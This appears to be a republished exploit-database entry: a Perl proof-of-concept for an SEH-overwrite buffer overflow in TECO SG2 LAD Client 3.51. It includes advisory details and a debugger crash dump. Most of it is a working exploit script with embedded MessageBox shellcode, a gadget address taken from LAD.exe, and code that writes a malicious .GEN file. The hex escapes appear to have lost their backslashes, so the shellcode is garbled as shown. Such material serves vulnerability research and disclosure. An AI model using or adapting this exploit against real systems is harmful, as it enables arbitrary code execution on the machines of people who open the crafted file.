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TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow

Posted on 17 November 2015

#!/usr/bin/perl
#
#
# TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow Exploit
#
#
# Vendor: TECO Electric and Machinery Co., Ltd.
# Product web page: http://www.teco-group.eu
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9
# Affected version: 3.51 and 3.40
#
# Summary: SG2 Client is a program that enables to create and edit applications.
# The program is providing two edit modes, LADDER and FBD to rapidly and directly
# input the required app. The Simulation Mode allows users to virtually run and test
# the program before it is loaded to the controller.
#
# Desc: The vulnerability is caused due to a boundary error in the processing of a
# Genie LAD file, which can be exploited to cause a buffer overflow when a user opens
# e.g. a specially crafted .GEN file. Successful exploitation could allow execution
# of arbitrary code on the affected machine.
#
# ---------------------------------------------------------------------------------
# (10bc.1358): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=43434343 edx=7794b4ad esi=00000000 edi=00000000
# eip=43434343 esp=0018dc24 ebp=0018dc44 iopl=0 nv up ei pl zr na pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
# 43434343 ?? ???
# 0:000> !exchain
# 0018dc38: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)
# 0018e1d4: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)
# 0018e800: MFC42!Ordinal1580+373 (708df2fc)
# 0018f098: 43434343
# Invalid exception stack at 42424242
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5275
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5275.php
#
#
# 09.10.2015]
#

# 113 bytes MessageBox shellcode
my $sc = "x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42".
 "x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03".
 "x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b".
 "x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e".
 "x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c".
 "x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x65x64".
 "x21x01x68x20x50x77x6ex68x20x5ax53x4cx89xe1xfe".
 "x49x0bx31xc0x51x50xffxd7";

# Address = 0041D659
# Message = 0x0041d659 : pop edi # pop esi # ret 0x04
# startnull {PAGE_EXECUTE_READ} [LAD.exe]
# ASLR: False;
# Rebase: False;
# SafeSEH: False;
# OS: False;
# v0.2.9.0 (C:Program Files (x86)TECOSG2 ClientLAD.exe)

my $file = "lad.gen";
my $junk = "x41" x 21750 . "xEBx08x90x90" . "x59xd6x41x00" . "x90" x 28 . $sc . "x90" x 20;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "Malicious GEN file created successfully!
";

 

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